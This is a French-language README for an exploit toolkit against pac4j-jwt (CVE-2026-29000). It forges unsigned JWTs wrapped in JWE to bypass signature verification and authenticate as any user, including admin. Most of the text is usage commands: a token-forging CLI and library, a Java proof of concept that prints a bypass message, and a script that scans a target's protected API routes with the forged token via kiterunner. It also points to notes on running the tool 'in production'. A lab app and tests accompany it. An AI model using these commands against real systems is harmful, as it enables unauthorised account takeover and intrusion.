
Forge des JWT non signés enveloppés en JWE pour contourner la vérification de signature pac4j-jwt (CVE-2026-29000) et s'authentifier en tant que n'importe quel utilisateur ; inclut un CLI Python, une bibliothèque, un PoC Java et un scan de routes kiterunner.
Buildout complet : writeup, PoC Java in-process, CLI et bibliothèque Python de forge de jetons, tests.
Voir WRITEUP.md pour les détails et les exigences du PoC.
| Chemin | Description |
|---|---|
WRITEUP.md | Résumé de la CVE, cause racine, versions affectées, exigences du PoC, références |
RECON.md | Quoi mettre (découverte de revendications, revendications spécifiques à l'application) et où soumettre (en-têtes, cookies, recherche de points de terminaison protégés) |
OPERATIONALIZATION.md | Ce qui est nécessaire pour exécuter en production : packaging, configuration, sécurité, automatisation, observabilité, maintenance |
scripts/kr_scan.py | Forger un jeton et exécuter kiterunner (~/bin/kr) avec Authorization: Bearer pour brute/scan des routes API protégées |
examples/ | Scripts d'exemple : forge_and_curl.sh, forge_and_kr.sh |
lab/ | Application Flask de laboratoire (point de terminaison JWE + JWKS) pour tester la forge de jetons |
poc/ | PoC Java Maven (contournement in-process contre pac4j-jwt 6.0.3) |
token_forge/ | Paquet Python : forger un PlainJWT encapsulé en JWE à partir d'une PEM ou d'une URL JWKS |
tests/ | Tests Pytest pour les revendications, la forge, les clés, la CLI |
requirements.txt | Dépendances Python (jwcrypto, requests, pytest) |
python3 -m venv .venv
source .venv/bin/activate # ou .venv\Scripts\activate sur Windows
pip install -r requirements.txt
# À partir d'une PEM (générer avec : openssl genrsa 2048 | openssl rsa -pubout)
python -m token_forge --public-key /chemin/vers/pub.pem --subject admin --roles "ROLE_ADMIN,ROLE_USER"
# À partir d'une URL JWKS
python -m token_forge --jwks-url https://cible/.well-known/jwks.json --subject admin
# Revendications supplémentaires (pour la découverte spécifique à l'application) : --claim [email protected] --claim key=value
# Options : --exp-sec, --jwks-kid, --log-file, --enable-file-logging, --verbose
Sortie : une seule ligne (JWT forgé) ; à utiliser comme Authorization: Bearer <token>.
Nécessite kr dans ~/bin/kr. Forger un jeton et exécuter kr brute (ou kr scan) avec l'authentification Bearer pour découvrir les routes protégées :
python scripts/kr_scan.py https://cible.com --jwks-url https://cible.com/.well-known/jwks.json
python scripts/kr_scan.py https://cible.com --public-key pub.pem -w paths.txt -o json --dry-run
Voir RECON.md §4 pour les options (--subject, --roles, --claim, -A, --scan, etc.).
from token_forge import forge_token, load_public_key_from_pem, load_public_key_from_jwks_url
with open("pub.pem", "rb") as f:
key = load_public_key_from_pem(f.read())
token = forge_token(key, subject="admin", roles=["ROLE_ADMIN"], exp_sec=3600)
pytest -vv --tb=short --maxfail=1
# ou avec les avertissements comme erreurs :
pytest -vv -W error -W always --tb=short --maxfail=1
cd poc
mvn -q compile exec:java -Dexec.mainClass="Poc"
# Ou jeton uniquement (sans validation in-process) :
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--token-only"
# Avec sujet/rôles personnalisés :
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--subject user --roles ROLE_A,ROLE_B"
Résultat attendu : [BYPASS] Authenticated as: admin#override et les rôles lors de l'exécution in-process.
pytest -vv --cov=token_forge --cov-report=term-missing
pytest -vv --cov=token_forge --cov-report=html # puis ouvrir htmlcov/index.html
docker build -t cve-2026-29000 .
docker run --rm cve-2026-29000 pytest -vv --cov=token_forge --cov-report=term-missing
Application Flask qui accepte JWE et renvoie les revendications (pour tester la forge + curl/kr).
docker compose up -d lab
TOKEN=$(python -m token_forge --jwks-url http://localhost:8080/.well-known/jwks.json 2>/dev/null)
curl -H "Authorization: Bearer $TOKEN" http://localhost:8080/api/me
Voir lab/README.md.